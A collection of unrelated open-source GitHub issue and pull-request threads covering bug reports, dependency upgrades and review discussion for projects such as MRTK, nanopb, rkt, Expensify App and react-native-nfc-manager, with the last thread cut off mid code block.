When the transform on the playspace goes from identity to non-identity, the spatial meshes get into an inconsistent state. Some appear to still be correctly aligned with the physical environment, but some are offset by the new MRTK playspace transform.
To reproduce
Steps to reproduce the behavior:

Build app with spatial mesh visualization on (XR SDK) for HoloLens
Run app.
After seeing some spatial meshes display, trigger the setting of some obvious transform on the MRTK playspace (e.g. position=(1,1,1).
Walk around some more, generating more spatial meshes.
Note that some meshes are correctly aligned with physical environment, but some are offset by e.g. (1,1,1).

Expected behavior
All spatial meshes should still be aligned with their physical counterparts.
Screenshots
I tried capturing a screenshot showing some correct and some incorrect spatial meshes, but they all came out just looking like noise. It's very obvious in HoloLens when it happens.
Your setup (please complete the following information)

Unity Version [e.g. 2020.3.2f1]
MRTK Version [e.g. v2.6.1]

Target platform (please complete the following information)

HoloLens 2

Additional context

Have only seen this on XR SDK using Windows XR Plugin. Haven't tested extensively on other targets though.

It appears that spatial meshes correctly displaying before the change to the playspace transform continue to correctly display, but new meshes coming in and being created are displayed incorrectly offset.

I sent you two video captures that may reveal the issue.


flush

Just wondering if flush is implemented.  I want to flush before I turn loggly off.

Hi,
Yes, flush is implemented (via the CocoaLumberjack class that the LogglyLogger class in inheriting from).


Decoding FT_POINTER submessage with FT_CALLBACK fields can cause segmentation fault

Steps to reproduce the issue
General recipe:

Create a protobuf with submessage decoded as FT_POINTER, which contains a field decoded as FT_CALLBACK.
Decode message and call pb_release
Decode message again

Real case:

Hopefully, the attached code will help to reproduce the issue.

nanopb_issue.zip
What happens?
The second call to pb_decode cause a segmentation fault. Valgrind reports:
==30138== Conditional jump or move depends on uninitialised value(s)
==30138==    at 0x10BE70: decode_callback_field (pb_decode.c:619)
==30138==    by 0x10C099: decode_field (pb_decode.c:679)
==30138==    by 0x10C708: pb_decode_noinit (pb_decode.c:915)
==30138==    by 0x10C873: pb_decode (pb_decode.c:959)
==30138==    by 0x10D758: pb_dec_submessage (pb_decode.c:1349)
==30138==    by 0x10BDE5: decode_pointer_field (pb_decode.c:600)
==30138==    by 0x10C082: decode_field (pb_decode.c:676)
==30138==    by 0x10C708: pb_decode_noinit (pb_decode.c:915)
==30138==    by 0x10C873: pb_decode (pb_decode.c:959)
==30138==    by 0x1090D1: main (main.c:47)

Looks like pb_set_message_defaults does not clear callbacks for FT_POINTER allocated structures.
What should happen?
Message should be parsed twice.

I don't see a reasonable way to actually make callback fields work inside a FT_POINTER message, because the main program won't be able to set the callbacks. Kind of the same problem as in issue #175.
However the segfault can and will be fixed.

Fix released in nanopb-0.3.9.


grabScanDataHq

It always returns the same data. What can I do for it ?

Hi, Were you able to fix that ? I am having the same issue but just by connecting by socket.

When you run the functions in the sdk, you have to wait for a while until the process is finished. A value is returned whether the operation was successful or not. You can check this value with the "IS_OK()" function. If you switch from one process to the next, I think the device goes into an error state and always returns the same data. Allow the device to perform its operations correctly.


change object id type to string and change return type of keyvault list

 1. Change object id type to string.
 2. Change return type of key vault list to resources to represent the REST API. Listing vault under a subscription is a general ARM call and doesn't have key vault specific properties. There is an ask to change the return type to 'Resource' instead of 'Vault' to represent the REST API. 'Vault' object inherits all properties of 'Resource' and include an additional mandatory field of 'properties'

This checklist is used to make sure that common issues in a pull request are addressed. This will expedite the process of getting your pull request merged and avoid extra work on your part to fix issues discovered during the review process.
PR information

[x] The title of the PR is clear and informative.
[x] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For information on cleaning up the commits in your pull request, see this page.
[x] Except for special cases involving multiple contributors, the PR is started from a fork of the main repository, not a branch.
[x] If applicable, the PR references the bug/issue that it fixes.
[x] Swagger files are correctly named (e.g. the api-version in the path should match the api-version in the spec).

Quality of Swagger

[x] I have read the contribution guidelines.
[x] My spec meets the review criteria:

[x] The spec conforms to the Swagger 2.0 specification.
[ ] Validation errors from the Linter extension for VS Code have all been fixed for this spec. (Note: for large, previously checked in specs, there will likely be many errors shown. Please contact our team so we can set a timeframe for fixing these errors if your PR is not going to address them).
[x] The spec follows the patterns described in the Swagger good patterns document unless the service API makes this impossible.
…st to resources to represent the rest API.

Overall LGTM. Please change the description as the returned items in the "value" array are not Vaults but resources.

@amarzavery addressed your feedback. Thanks!

 https://github.com/Azure/azure-sdk-for-ruby/pull/621

No modification for NodeJS

 https://github.com/Azure/azure-sdk-for-python/pull/916


Bump Godeps to appc/spec 0.8.0

This also fixes some compilation errors introduced by the following changes:

https://github.com/appc/spec/pull/561
https://github.com/appc/spec/pull/576

Fixes https://github.com/coreos/rkt/issues/2597

@jonboulle @sgotti @iaguis PTAL

LGTM on green

Unfortunately, it is not green:
make: *** No rule to make target `Godeps/_workspace/src/github.com/appc/spec/ace/image_manifest_main.json', needed by `/home/runner/rkt/builds/build-rkt-coreos/build-rkt-1.5.1+git/tmp/functional/ace-main/manifest'.  Stop.

/cc @krnowak

I added a commit to fix the compilation error. It compiles fine now but I get an error that was not there before:
=== RUN   TestAceValidator
--- FAIL: TestAceValidator (5.93s)
	rkt_tests.go:115: Running command: /home/runner/rkt/builds/build-rkt-coreos/build-rkt-1.5.1+git/tmp/functional/rkt --dir=/tmp/datadir-084713581 --local-config=/tmp/localdir-024557800 --system-config=/tmp/systemdir-256227111 --debug --insecure-options=image run --mds-register --volume database,kind=empty /home/runner/rkt/builds/build-rkt-coreos/build-rkt-1.5.1+git/tmp/functional/rkt-ace-validator-main.aci /home/runner/rkt/builds/build-rkt-coreos/build-rkt-1.5.1+git/tmp/functional/rkt-ace-validator-sidekick.aci
	rkt_ace_validator_test.go:75: Got expected ACE stage "prestart"
	rkt_ace_validator_test.go:75: Got expected ACE stage "sidekick"
	rkt_ace_validator_test.go:78: Ignoring unknown ACE stage "poststop"
	rkt_ace_validator_test.go:68: Expected "main", but not found: ExpectRegex didn't find regex 'ace-validator\[\d+\]: ([[:alpha:]]+) OK'.
	rkt_tests.go:140: rkt terminated with unexpected status 1, expected 0
		Output:

This looks like https://github.com/coreos/rkt/issues/2171.

With better logs from #2613:
		[83960.075485] ace-validator[15]: main FAIL
		[83960.076262] ace-validator[6]: sidekick OK
		[83960.078526] ace-validator[15]: ==> `` did not respond with expected Content-Type header.  Expected text/plain; charset=us-ascii, received text/plain
		[83960.079507] ace-validator[15]: ==> `` did not respond with expected Content-Type header.  Expected text/plain; charset=us-ascii, received text/plain
		[83960.080141] ace-validator[15]: ==> "ace-validator-main"'s image id mismatch: [] vs sha512-863272b84ce531153cb0810425c99a9938d51fd2d888d9f31265cf46ac3d31e1
		[83960.080743] ace-validator[15]: ==> Get http://<IP_ADDRESS>:18112/0f7f2864e38675da58f38efc7ba2974c/acMetadata/v1/apps/ace-validator-main/annotations failed with 404
		[83960.081361] ace-validator[15]: ==> `` did not respond with expected Content-Type header.  Expected text/plain; charset=us-ascii, received text/plain
		[83960.081939] ace-validator[15]: ==> "ace-validator-sidekick"'s image id mismatch: [] vs sha512-b11d5abb9ea006fc60fc3ec057c09180f37787131a46e3da0b011e5a397c7fc7
		[83960.098681] ace-validator[15]: ==> Get http://<IP_ADDRESS>:18112/0f7f2864e38675da58f38efc7ba2974c/acMetadata/v1/apps/ace-validator-sidekick/annotations failed with 404
		[83960.099192] ace-validator[15]: ==> `` did not respond with expected Content-Type header.  Expected text/plain; charset=us-ascii, received text/plain
		[83960.116207] ace-validator[22]: poststop OK

@alban: I force-pushed the amended commit to this branch fixing the build system stuff. Hope you won't be mad at me about it.
As of failing Ace Validator test - I'm wondering if we are expecting correct order of the ACE stages. We basically expect the "prestart" ACE stage, then both "main" and "sidekick" stages (in any order), and then "poststop". Maybe something has changed? Maybe we should be expecting 2x "prestart", "main", "sidekick" and 2x "poststop"? Hard to tell, since we get completely no output that would help us. It might be even gexpect playing games with us (I doubt it though).

Ah, I didn't read the comments above. So maybe it would be better to fix the ace validator test. It expects a pattern like ace-validator[\d+]: [a-z]+ OK, so maybe it would be useful to catch also the FAIL message too.

The error message did not respond with expected Content-Type header is new and was introduced in https://github.com/appc/spec/pull/451. So bumping to the new appc/spec explains this.

I added some fixes, but it still fail on the next errors:
		[87801.852196] ace-validator[15]: main FAIL
		[87801.852982] ace-validator[6]: sidekick OK
		[87801.857687] ace-validator[15]: ==> unexpected end of JSON input
		[87801.858409] ace-validator[15]: ==> Get http://<IP_ADDRESS>:18112/c981420e6b5c5a0bf23121c4149a27bb/acMetadata/v1/apps/ace-validator-main/annotations failed with 404
		[87801.859031] ace-validator[15]: ==> Get http://<IP_ADDRESS>:18112/c981420e6b5c5a0bf23121c4149a27bb/acMetadata/v1/apps/ace-validator-sidekick/annotations failed with 404
		[87801.859628] ace-validator[15]: ==> `` did not respond with expected Content-Type header.  Expected text/plain; charset=us-ascii, received text/plain; charset=utf-8
		[87801.887664] ace-validator[22]: poststop OK

https://github.com/appc/spec/pull/604

LGTM on ci-green

LGTM on ci-green.
Note that TestAceValidator has been disabled: https://github.com/coreos/rkt/issues/2621


JOSS review: functionality

[x] The statement "Vlasiator.jl achieves optimal serial performance for single file processing" in the paper needs to be confirmed and backed up by data.
[x] Reading "This part has not been carefully tested so it might not work or just generate wrong results. Contributions from users are warmly welcomed!" in the documentation at https://henry2004y.github.io/Vlasiator.jl/stable/manual/#Computing-derived-quantities does not make me feel good when trying to use this package. Maybe some additional testing would be good before publishing this software in JOSS? From the JOSS guidelines at https://joss.readthedocs.io/en/latest/submitting.html#substantial-scholarly-effort: "JOSS requires that software should be feature-complete (i.e., no half-baked solutions)".

Xref https://github.com/openjournals/joss-reviews/issues/4906

Update on the status about the derived variable calculations:
As of v0.9.32, we include tests for all listed variables. However, due to the intrinsic output options of Vlasiator, the same derived quantity may be calculated from different sources (e.g. scalar pressure from pressure tensor, or directly from VDF), or the required variables for computing others may have alternatives (e.g. current density from DCCRG B, or FSGRID B). Out current approach uses the most commonly used ones, whereas alternatives are left as future improvements. In terms of software development, this part is feature-complete; in terms of science, it is definitely not.

For the serial file I/O performance, we have separated the benchmarks (that was under the Log Section) to a stand-alone section in the doc. This is used to highlight the improvement over the original Python package Analysator. For array size larger than ~ 1MB, we can achieve ~ 3000 MB/s reading speed, which is quite close to what a typical SSD4 can get. We also realized that accurately estimating the theoretical maximum I/O performance on each platform is tricky, and is also beyond the scope of showing our current improvements over the Python implementation. Therefore, we do not show any comparison with respect to the system limits.

Thanks, this looks good! I guess some Julia, 1st time [s] need to be changed to Julia, 2nd time [s]. When that is done, all my comments above are addressed and this issue can be closed.


html_file_suffix configuration values is not respected

In my conf.py file I set "html_file_suffix=.php".
The generated sitemap however refers to URLs with the extension ".html".
I believe it's hardcoded at https://github.com/jdillard/sphinx-sitemap/blob/edf8c48339b6fe56ed2738298303e4ca4b997970/sphinx_sitemap/init.py#L109
Shall I create a pull request?

Ah, I didn't know about that configuration option. That would be great!

Version 2.5.0 with support for html_file_suffix has now been released, thanks for the PR!


./mons.sh: line 86: fg: no job control

I got this on a fresh install of mons and what's most perplexing is line 86 doesn't seem to have anything to do with background/foreground processes. I'm currently running the i3-manjaro image, let me know if there's any other info I should provide!

If you are running the script from the build directory a quick solution is to open the file mons.sh then go to line 85 and make the following changes:
 [ "$1" = '-h' ] && { usage; exit; }
 [ "$1" = '-v' ] && { version; exit; }
-lib='%LIBDIR%/liblist.sh'
+lib='libshlist/liblist.sh'
 [ ! -r "$lib" ] && { "$lib: library not found."; exit 1; }
 . "$lib"


Missing dependecies.

Hi, I've had azure installed through pip. It was complaining about common.credentials module being missing. Now it complains about the other modules however I do have them installed. Could you please point me in the right direction here?
Do you have azure==2.0.0rc5 installed? Try pip install azure==2.0.0rc5- No module named 'azure.mgmt.network

This is ansible 2.1 from fedora repo :
ansible-playbook Network.yaml -vvv
Using /etc/ansible/ansible.cfg as config file
PLAYBOOK: Network.yaml *************************************
1 plays in Network.yaml
PLAY [localhost] ***************************************************************
TASK [Create a resource group] *************************************************
task path: /home///dev/azure/replica/Network.yaml:9
Using module file /usr/lib/python2.7/site-packages/ansible/modules/core/cloud/azure/azure_rm_resourcegroup.py
<<IP_ADDRESS>> ESTABLISH LOCAL CONNECTION FOR USER:
<<IP_ADDRESS>> EXEC /bin/sh -c '( umask 77 && mkdir -p "echo ~/.ansible/tmp/ansible-tmp-1488628812.4-218429550883707" && echo ansible-tmp-1488628812.4-218429550883707="echo ~/.ansible/tmp/ansible-tmp-1488628812.4-218429550883707" ) && sleep 0'
<<IP_ADDRESS>> PUT /tmp/tmpUFM37c TO /home//.ansible/tmp/ansible-tmp-1488628812.4-218429550883707/azure_rm_resourcegroup.py
<<IP_ADDRESS>> EXEC /bin/sh -c 'chmod u+x /home//.ansible/tmp/ansible-tmp-1488628812.4-218429550883707/ /home//.ansible/tmp/ansible-tmp-1488628812.4-218429550883707/azure_rm_resourcegroup.py && sleep 0'
<<IP_ADDRESS>> EXEC /bin/sh -c '/usr/bin/python2 /home//.ansible/tmp/ansible-tmp-1488628812.4-218429550883707/azure_rm_resourcegroup.py; rm -rf "/home//.ansible/tmp/ansible-tmp-1488628812.4-218429550883707/" > /dev/null 2>&1 && sleep 0'
fatal: [localhost]: FAILED! => {
"changed": false,
"failed": true,
"invocation": {
"module_args": {
"ad_user": null,
"append_tags": true,
"client_id": null,
"force": false,
"location": "West Europe",
"name": "",
"password": null,
"profile": null,
"secret": null,
"state": "present",
"subscription_id": null,
"tags": {
"delete": "never",
"testing": "dev"
},
"tenant": null
},
"module_name": "azure_rm_resourcegroup"
},
"msg": "Do you have azure==2.0.0rc5 installed? Try pip install azure==2.0.0rc5- No module named common.credentials"
}
to retry, use: --limit @/home///autom/dev/azure/replica/Network.retry
PLAY RECAP *********************************************************************
localhost                  : ok=0    changed=0    unreachable=0    failed=1

python
Python 2.7.13 (default, Jan 13 2017, 10:15:16)
[GCC 6.3.1 20161221 (Red Hat 6.3.1-1)] on linux2
Type "help", "copyright", "credits" or "license" for more information.

from azure.common.credentials import UserPassCredentials
Traceback (most recent call last):
File "", line 1, in
ImportError: No module named common.credentials

Hi @ment0s
Could you try

python -c "import azure; print(azure.__file__)"
python -c "import azure; print(azure.mgmt.__file__)"
python -c "import azure; print(azure.common.__file__)"

Closing this issue due to inactivity, and I think the problem is not related to this SDK anyway.
Please feel free to still comment on it if necessary.
Thank you.


[HOLD] Upgrade to react-native-web 0.19

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

HOLD on https://github.com/Expensify/App/issues/14589
Problem
There are a number of initiatives and bug fixes that depend on React Native 0.19. We can aggregate those all here:

https://github.com/Expensify/App/issues/11680
https://github.com/Expensify/App/issues/14139

Solution
Upgrade E/App to use react-native-web 0.19.
View all open jobs on GitHub

I synced our fork with the upstream yesterday, so our fork officially contains the 0.19 code. It's not published yet though. Assigning to myself to publish our react-native-web fork when this comes off HOLD.

We had a couple of VirtualizedList fixes from https://github.com/Expensify/App/issues/12054 included in 19.2 🎉

Still on HOLD

Still on HOLD

FYI: I added one more issue in the issue description, in the list of the issues held on this one.

No update here, still on HOLD for the Accessible Pressables project, which is making steady progress. Technically we don't need to complete the project, we just need to get to a point where there's no more Touchable components.

I opened a PR to sync again, this will unblock https://github.com/Expensify/App/pull/19345 as one of the new release fixes an issue with batchSize > 1 and inverted FlatList.
@roryabraham What is the reason for the hold on the pressables project?

I just verified and they got deprecated and not removed so it could still be usable before the Touchable migration project is done. We could add the warning to logbox ignore list until the migration is over.

At this point, there are only 5 remaining Touchable components across the app, so let's just finish that migration then take this off hold early next week

https://github.com/Expensify/App/issues/17019 is the last remaining PR that should be merged before this comes off HOLD.

aaaand that's been merged. So we are good to push this one forward now.

Might as well make this one external now for the actual upgrade, eh?

@roryabraham Can you assign me this issue.

@syedsaroshfarrukhdot This one is open for proposals, but please review our contributing guidelines and post a proposal using our proposal template.

Also keep in mind that there are many considerations here, please thoroughly review the deprecations and breaking changes in the release notes, and include a detailed analysis of which ones affect our app, how we can address them, and when we need to.

Proposal
Please re-state the problem that we are trying to solve in this issue.
Upgrade E/App to use react-native-web 0.19.
What is the root cause of that problem?
There are a number of initiatives and bug fixes that depend on react-native-web 0.19.x
What changes do you think we should make in order to solve the problem?
There is some functions/components deprecated need to be replaced

TextInput prop numberOfLines. Use rows prop.
TextInput prop editable. Use readOnly prop.
TextInput prop returnKeyType. Use enterKeyHint prop.
TextInput prop keyboardType. Use inputMode prop.
Deprecate textAlignVertical style. Use verticalAlign style.
Deprecate selectable prop. Use userSelect style.
Deprecate pointerEvents prop. Use pointerEvents style.
Deprecate focusable props. Use tabIndex prop.
Deprecate nativeId prop. Use id prop.
Deprecate accessibility* props. Use aria-* and role props.
Deprecate StyleSheet.compose(). Use style array syntax.

What alternative solutions did you explore? (Optional)

@tungmt I think I'd like to see a bit more details specific to our app in your proposal. Also a big breaking change that wasn't mentioned in your proposal is that <Text> is position:relative by default.

Hi @roryabraham,
I updated my proposal https://github.com/Expensify/App/issues/16660#issuecomment-1591366594

@aimane-chnaif Would be great to get this change out sooner than later as it will unblock some other improvements. Would you be bale to work with @tungmt on the proposal details?

Please do notice that we have a few deprecations in RN_web which depend on the React-native latest version. So There might be some props that are only present in newer RN versions and upgrading RN-web will force us to use those. If our RN version does not have those props then it might create issues.

As I check all RN_web 0.19 deprecated change is supported by RN 0.71.0 and above. So I think we dont need to force update RN in this case.

Thanks for the heads-up @parasharrajat. We are upgrading our react-native version in https://github.com/Expensify/App/pull/18507

Looks like @aimane-chnaif is still working on reviewing the proposal here!

Still looking for an approved proposal here.

@aimane-chnaif How is the proposal review going? What's your plan for getting that accepted/ rejected?

Excellent, thank you for the update!

We're still waiting on an approved solution here, through testing by @aimane-chnaif !

@aimane-chnaif is also assigned to review https://github.com/Expensify/App/pull/18507, which is a pre-requisite for this and therefore takes precedence over this. Going to put this on HOLD in the meantime.

Thanks Rory!

Still on hold, I see the PR is progressing

When we upgrade, it would be nice if we could upgrade to v0.19.6. We recently had a PR merged upstream into that version for this bug.

Still held on https://github.com/Expensify/App/pull/18507

Still held on #18507, which looks like it's getting closer

Still on hold

Proposal
Please re-state the problem that we are trying to solve in this issue.
Upgrade react-native-web to 0.19 version
What is the root cause of that problem?
We are currently using forked version of react-native-web and it 0.18 version with some patches.
What changes do you think we should make in order to solve the problem?
We should switch back to using original react-native-web since all patches were also applied to upstream. We should install<EMAIL_ADDRESS>which looks latest stable version.
We should also change webpack configs:
https://github.com/Expensify/App/blob/4e31da03133bd08b006370be4857a33487b4ba92/config/webpack/webpack.common.js#L186-L187
https://github.com/Expensify/App/blob/48ce5e4c70d1ced8d9a176bf203e07852b67b14b/.storybook/webpack.config.js#L27-L28
We should point react-native to react-native-web here and remove react-native-web pointing to @expensify/react-native-web
+ 'react-native$': 'react-native-web',
- 'react-native$': '@expensify/react-native-web',
- 'react-native-web': '@expensify/react-native-web',

What alternative solutions did you explore? (Optional)

Proposal
Please re-state the problem that we are trying to solve in this issue.
Upgrade react-native-web to version 0.19
What is the root cause of that problem?
There are different issues which will be resolved by this upgrade, there is no specific root cause.
What changes do you think we should make in order to solve the problem?

We can sync the latest version from upstream to our fork @expensify/react-native-web
We can just use react-native-web package directly inside E/App.

There are breaking changes which should be changed/replace and removed.

<Image> resizeMode style is deprecated replace with resizeMode prop.
https://github.com/Expensify/App/blob/4230f289341c8d6d9a8b780d54da0725d4764b2b/src/styles/styles.js#L3470
<TextInput> instead of keyboardType prop use inputMode
example: https://github.com/Expensify/App/blob/4230f289341c8d6d9a8b780d54da0725d4764b2b/src/components/AmountTextInput.js#L48
<TextInput> instead of returnKeyType prop use enterKeyHint
<TextInput> instead of editable use readOnly
<TextInput> instead of numberOfLines use rows
nativeId is deprecated replace with id
focusable is deprecated replaced with tabIndex we can make a component focusable by passing tabIndex="0" and not focusable by passing tabIndex="-1"
pointerEvents prop is deprecated replace with pointerEvents style.
accessibility* props are deprecated replace with aria-* and we replace accessibilityRole with role
Touchable* components are deprecated we should replace it with Pressable i don't think we are using any Touchable* components for now.
selectable prop is deprecated replace with userSelect style
textAlignVertical is deprecated replace with verticalAlign style
transform array values are deprecated instead we should use spaced values e.g. transform: 'translateX(50%) translateY(50%)'
<Text> position: relative is the default now, we can use position:'static' by adding a prop called position which has a value of position: 'static' by default to our custom Text component and we can change the position to relative/static when we have places which require relative positioning using the prop, if it is necessary.

What alternative solutions did you explore? (Optional)
N/A

Might be helpful
There are some issues present when updating to 0.19 which is were not present in 0.18(I checked by installing<EMAIL_ADDRESS>I think FlatList is behaving differently, but couldn't pinpoint exact issue:
Here there is a space event there is one report action:

Here hover state is lost when hovering over context menu, and leaving report action
https://github.com/Expensify/App/assets/59907218/f05135b8-55b3-4bb2-9fd8-d29d262e8f78

Not on hold anymore! @janicduplessis coming from here https://github.com/Expensify/App/pull/19345 might have some ideas about the issues after updating to the new version.

Hey @mountiny
Would you like to take a look at this PR https://github.com/Expensify/react-native-web/pull/22?
So that we can quickly proceed with the upgrade.

I think we should also strive to ditch our react-native-web fork as well. We can leverage patch-package as needed for custom code but generally should have upstream PRs for all custom code in the fork

I think we should also strive to ditch our react-native-web fork as well. We can leverage patch-package as needed for custom code but generally should have upstream PRs for all custom code in the fork

Using upstream and patching may not be ideal here as there are 3 different places to patch. And all commits of the master come under v0.19 in RNW. So any change (which may change the line number) may break the patch and we have no control which changes will come upstream, which may cause problems.

Using upstream and patching may not be ideal here as there are 3 different places to patch

@shubham1206agra we recently sponsored a new feature in patch-package which allows you to create multiple patch files for the same dependency and have them applied in sequence, so I think it makes it easier + more viable to use patch files when there are multiple different places to patch.

all commits of the master come under v0.19 in RNW. So any change (which may change the line number) may break the patch and we have no control which changes will come upstream, which may cause problems

Sorry, I'm having trouble understanding what you mean by this.

@roryabraham Are there any plans to remove the fork @expensify/react-native-web if so, before or after this upgrade?

I kind of assume that we should be removing the @expensify/react-native-web fork for all the same reasons we're removing our React Native fork, and that we should make that change before this upgrade.

I kind of assume that we should be removing the @expensify/react-native-web fork for all the same reasons we're removing our React Native fork, and that we should make that change before this upgrade.

Then we should start putting all changes upstream.

I just finished going through all the pull requests merged in our fork to try and understand all the custom code we have merged there and understand what we need to do to drop the fork and use the upstream instead. I tracked everything in this spreadsheet, and each PR essentially falls in one of three buckets.
🎉 Merged and released upstream

https://github.com/Expensify/react-native-web/pull/5
https://github.com/Expensify/react-native-web/pull/9
https://github.com/Expensify/react-native-web/pull/18

❌ Not merged upstream, but also not yet used in E/App so 😌 NAB for this upgrade

https://github.com/Expensify/react-native-web/pull/11
https://github.com/Expensify/react-native-web/pull/15
https://github.com/Expensify/react-native-web/pull/20
https://github.com/Expensify/react-native-web/pull/21

🩹 Needs a patch after this upgrade is complete
Additional context for all code related to VirtualizedLists: https://github.com/facebook/react-native/issues/35263

https://github.com/Expensify/react-native-web/pull/2 – new upstream PR needed against @react-native/virtualized-lists subpackage of react-native, not react-native-web
https://github.com/Expensify/react-native-web/pull/3 - same as https://github.com/Expensify/react-native-web/pull/2, should be folded into the same patch file and upstream PR
https://github.com/Expensify/react-native-web/pull/7 – this was merged upstream in React Native but has not been ported to upstream react-native-web yet
https://github.com/Expensify/react-native-web/pull/16 – Need to create upstream PR

So with that, I feel more confident in moving forward with a PR in E/App to use the upstream dependency and add the 3 patch files we need.

Given my last comment, I am inclined to accept @getusha's proposal here because it has a good summary of upstream breaking changes.
@aimane-chnaif what do you think?

@roryabraham Is there anything missing in my proposal? https://github.com/Expensify/App/issues/16660#issuecomment-1591366594

oh, apologies @tungmt for missing that. I think your earlier proposal is basically equivalent to @getusha's later proposal, so yours would get priority.

@roryabraham i included more missing changes that should be changed/replaced and it's quite different from @tungmt's earlier proposal.

Well, this is embarrassing. 😅  I apologize to everyone for moving to quickly / not carefully reviewing the proposals that we had here. My primary focus yesterday was to understand what we needed to do to get off our fork and onto the upstream.
@getusha's proposal builds on @tungmt's proposal by considering a few extra deprecations and changes:

<Image> resizeMode style is deprecated replace with resizeMode prop
transform array values are deprecated instead we should use spaced values e.g. transform: 'translateX(50%) translateY(50%)'

These are the only differences AFAICT, but I'm going to accept the more complete proposal.

@getusha there are a lot of things on HOLD for this issue so I'd love to see us complete it ASAP

@getusha I am available to review during weekend if you can raise PR soon.

I will raise the PR as soon as possible. thank you!

Here is a draft PR https://github.com/Expensify/App/pull/24482
and i raised a PR for react-native-key-command https://github.com/Expensify/react-native-key-command/pull/31 this will fix a conflict while installing packages.
@aimane-chnaif @roryabraham

Left some comments in the PR. Seems like it has stalled a bit, @getusha @aimane-chnaif any questions / concerns I can answer?

@getusha @aimane-chnaif @WoLewicki what's the latest news on the RNW upgrade?

@getusha @aimane-chnaif @WoLewicki what's the latest news on the https://github.com/Expensify/App/pull/24482?

@roryabraham as @aimane-chnaif mentioned we are investigating this issue which is already fixed but needed more explanation about the FreezeWrapper.

@kevinksullivan I'm on parental leave; re-assigning! This doesn't seem like to needs your work until payment

Hey, I'm Arthur from Callstack and I'll start working on this 🙋

What's the state of this?

@iwiznia PR is already deployed to prod, it is awaiting a payment
cc @roryabraham @mountiny @kevinksullivan

@iwiznia Yeah, we are now using react-native-web 0.19+ version https://github.com/Expensify/App/blob/main/package.json#L161 and inputMode is supported.

Updating the bounty to $3500 as this was a larger issue with many sub-issues and conflicts

Payments made


Implement People API methods

There's a test (CompletenessTest) that interrogates the API and lists methods we've not implemented yet.
I'm gonna raise separate issues for each thing that needs implementing which will make it easier to split the work.
These are the People methods that need to be implemented.

flickr.people.getPhotos
flickr.people.getPhotosOf
flickr.photos.people.add
flickr.photos.people.delete
flickr.photos.people.deleteCoords
flickr.photos.people.editCoords
flickr.photos.people.getList

Checked in.


Clamp to half with if outer container contains an even number of elements

The items will clamp to the half width if the outer container contains (in the visible part) an even number of elements. If its uneven it works perfect.
Did anybody encounter this problem before?

The bug is in getPositionByIndex
    return -(i * slides.children().outerWidth(true) - ((slides.parent().outerWidth(true) - slides.children().outerWidth(true)) / 2))

i think the / 2 is only useful if the slider is not a left_sided.

I don't really get the problem i'm now testing and i see no problem when there is an even amount of elements. can you provide an example that doesn't work (jsfiddle or something)?

Here you go:
http://jsfiddle.net/k0vh8jwc/1/

Ok i see, i'll work on a fix.

Added your fix, thanks.


Update eslint plugins after ESLint v9 support releases

Unmet peer eslint@9 for ESLint plugins (wait ESLint v9 support releases)

[x] eslint-plugin-import
[x] eslint-plugin-jsx-a11y

Use fixupPluginRules from @eslint/compat to fix eslint-plugin-import plugin rules

fixed after update eslint-plugin-jsx-a11y to v6.10.0 in v0.1.1

Fixed eslint-plugin-import after update to v6.10.0 in v0.2.0


Chore: Run Free Disk Space step only for tests that need it

After introducing disk cleanup in #69, it runs for each test job. As pointed out by @klezm in https://github.com/devcontainers-extra/features/pull/69#issuecomment-2454477827, it's only needed for a couple of test scenarios, so it could be limited with a conditional for them (run Free Disk Space step only when the tests for a specific feature require it)

The only package needing more space as I see it is homebrew-package for now


Add Tutorial for Speak Activity

Speak Activity should now have a tutorial. This should fix #431 :

There is an error in the console when launching the tutorial:
Uncaught TypeError: t(...).off is not a function
    at e._initMouseNavigation (bootstrap-tour-standalone.min.js:22)
    at e.init (bootstrap-tour-standalone.min.js:22)
    at Object.tutorial.start (tutorial.js:85)
    at HTMLButtonElement.<anonymous> (activity.js:76)
e._initMouseNavigation @ bootstrap-tour-standalone.min.js:22
e.init @ bootstrap-tour-standalone.min.js:22
tutorial.start @ tutorial.js:85
(anonymous) @ activity.js:76

Will be nice to add also a popup to describe input text and history


iOS Mifare Error after Success

First of all, thank you for your great work.
Well now my error: First it works perfectly. I can read all my data as i wish, how often i like. But when i cancel the detection i wont be ever able to start it again. Even after a restart and reinstall of the App:
I used your example from: https://github.com/whitedogg13/react-native-nfc-manager/blob/master/example/AppV2Mifare.js
The only way to reenable the function is to restart the iphone.
I tried to analyse the error and I'm pretty sure, that the function: " NfcManager.cancelTechnologyRequest" does not work properly.
Here is a small log from my Xcode:
'''
2019-09-11 21:34:56.825599+0200 Swosy[391:28586] [CoreNFC] 00000002 8294f480 -[NFCTagReaderSession beginSession]:318  error:Error Domain=nfcd Code=2 "Busy" UserInfo={NSLocalizedDescription=Busy}, errorCode: 0xcb
2019-09-11 21:34:56.825704+0200 Swosy[391:23899] NFCTag didInvalidateWithError
2019-09-11 21:34:56.884 [warn][tid:com.facebook.react.JavaScript] you need to call registerTagEventEx first
2019-09-11 21:34:56.883965+0200 Swosy[391:29137] you need to call registerTagEventEx first
2019-09-11 21:34:56.887 [warn][tid:com.facebook.react.JavaScript] Clean Up
'''
As you can see the main problem is, that the Reader seems still to be active somehow ?
So that in fact would mean, that the cleanup does not work as expected.

I also can cause follwoing error:
2019-09-11 21:53:08.074302+0200 Swosy[298:8684] NfcManager.requestTechnology
2019-09-11 21:53:08.249227+0200 Swosy[298:5888] NFCTag didBecomeActive
2019-09-11 21:53:10.976822+0200 Swosy[298:5888] NFCTag didDetectTags
2019-09-11 21:53:10.986782+0200 Swosy[298:7368] [CoreNFC] 00000002 82d3b800 -[NFCTagReaderSession _connectTag:error:]:568  Error Domain=NFCError Code=100 "Stack Error" UserInfo={NSLocalizedDescription=Stack Error, NSUnderlyingError=0x280c19800 {Error Domain=nfcd Code=15 "Stack Error" UserInfo={NSLocalizedDescription=Stack Error}}}
2019-09-11 21:53:11.007 [warn][tid:com.facebook.react.JavaScript] Stack Error
2019-09-11 21:53:11.006949+0200 Swosy[298:8684] Stack Error

@NicholasBertazzon Sorry for the late response.
Can you tell me your iOS version / XCode version? Mine are iOS public beta 2 + XCode beta 6, and the example works fine.
BTW, app shouldn't be able to affect operating system after closed, is it a seldom issue or a 100% reproducable one?

Funny thing I know it shouldnt affect it after closing the app but it still was there. I anyway modified my code, so I would have to test it again in the new released iOS 13

I'm also getting the "NFCTag didInvalidateWithError" error message. It works fine on Android. All write steps on iOS seems okay.

`        (async () => {
let tag;
      try {
